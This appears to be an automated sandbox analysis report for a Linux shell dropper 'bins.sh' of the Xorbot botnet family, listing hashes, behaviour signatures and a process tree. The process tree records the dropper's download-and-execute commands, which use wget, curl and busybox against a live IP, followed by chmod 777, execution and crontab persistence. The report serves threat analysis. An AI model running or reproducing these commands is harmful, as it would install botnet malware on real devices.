Analysis
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max time kernel
123s -
max time network
104s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
05/12/2024, 02:31
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
9d1e0ce2335246f6bd57f886034a8b65
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SHA1
d8d5b5dae0e66bc74b700b8e66e96cd2deab2fba
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SHA256
915aef94b69db1c600838fe5e412a043bfba33eb88c97660c45203dd41567d1c
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SHA512
5d0ed44420c27385e495c4b21976494963b54854c18509d808ebb6940e5a821c6209f8a2e39e62f02cf124665c2ea1fb842ee7e03ff7fe78e08b661d3fb14763
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SSDEEP
192:1tE4IZAaZ/2QAQTX5+RbOnE4IZAaIhQAQTXmO7:1tE4IZxZ/YRbmE4IZxIw
Malware Config
Signatures
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resource yara_rule behavioral3/files/fstream-6.dat family_xorbot behavioral3/files/fstream-7.dat family_xorbot behavioral3/files/fstream-8.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 728 chmod 743 chmod 750 chmod 757 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR 729 Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy 744 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue 751 ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e 758 FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e -
Renames itself 1 IoCs
pid Process 730 Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.Tp8oVj crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/18/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/696/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/14/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/72/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/741/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/755/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/775/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/37/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/314/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/697/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/771/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/827/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/12/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/725/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/764/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/765/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/799/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/800/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/805/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/824/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/352/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/700/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/746/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/756/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/794/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/818/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/11/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/372/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/758/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/769/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/21/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/24/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/104/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/458/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/754/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/113/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/742/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/779/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/835/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/2/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/316/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/705/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/738/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/748/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/751/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/767/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/813/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/filesystems crontab File opened for reading /proc/1/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/16/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/73/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/321/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/739/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/807/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/8/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/740/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/781/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/7/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/385/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/690/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/778/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/817/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR File opened for reading /proc/373/cmdline Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR wget File opened for modification /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR curl File opened for modification /tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR busybox File opened for modification /tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy busybox File opened for modification /tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue busybox File opened for modification /tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:697
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/bin/rm/bin/rm bins.sh2⤵PID:701
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/usr/bin/wgetwget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR2⤵
- Writes file to tmp directory
PID:706
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/usr/bin/curlcurl -O http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:720
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR2⤵
- Writes file to tmp directory
PID:727
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/bin/chmodchmod 777 Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR2⤵
- File and Directory Permissions Modification
PID:728
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/tmp/Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR./Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:729 -
/bin/shsh -c "crontab -l"3⤵PID:731
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:732
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/bin/shsh -c "crontab -"3⤵PID:733
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:735
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/bin/rmrm Zg3HannKoZvRYAfr0h2HOWrk9CFcNGP5cR2⤵PID:737
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/usr/bin/wgetwget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy2⤵PID:740
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/usr/bin/curlcurl -O http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy2⤵PID:741
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy2⤵
- Writes file to tmp directory
PID:742
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/bin/chmodchmod 777 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy2⤵
- File and Directory Permissions Modification
PID:743
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/tmp/4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy./4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy2⤵
- Executes dropped EXE
PID:744
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/bin/rmrm 4v3a5mNbsNGqM7OP0lhscTbteWGEeiadWy2⤵PID:746
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/usr/bin/wgetwget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue2⤵PID:747
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/usr/bin/curlcurl -O http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue2⤵PID:748
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue2⤵
- Writes file to tmp directory
PID:749
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/bin/chmodchmod 777 ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue2⤵
- File and Directory Permissions Modification
PID:750
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/tmp/ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue./ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue2⤵
- Executes dropped EXE
PID:751
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/bin/rmrm ch5jeSXMuqlUc5fEGEPqhKuOVQVv0FVLue2⤵PID:753
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/usr/bin/wgetwget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e2⤵PID:754
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/usr/bin/curlcurl -O http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e2⤵PID:755
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e2⤵
- Writes file to tmp directory
PID:756
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/bin/chmodchmod 777 FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e2⤵
- File and Directory Permissions Modification
PID:757
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/tmp/FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e./FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e2⤵
- Executes dropped EXE
PID:758
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/bin/rmrm FQrRoCnSLDVn79nQPXQ8NClTTIGT6zPn9e2⤵PID:760
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/usr/bin/wgetwget http://216.126.231.240/bins/xEl2pGXAVuSlXgfjNo1w9MlWYSdVC8woFP2⤵PID:761
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
210B
MD5f270c097cdc990fe7f336f560d5e4ca2
SHA167134018237a525c87b496480ae1ef0c231950e8
SHA256fe64e0f6c0fc1a11d1c3457827f487b19544e6687514117f1a5a6c7c26dd0f43
SHA51213d2fda3ca71d07bf0b0f26eae8c5069c9daf0cc92033b84a11dadd52b04f43688a5df9b4a5f1e797c318bf9eb287a104e951deac20902e7b41ea164a1fc463a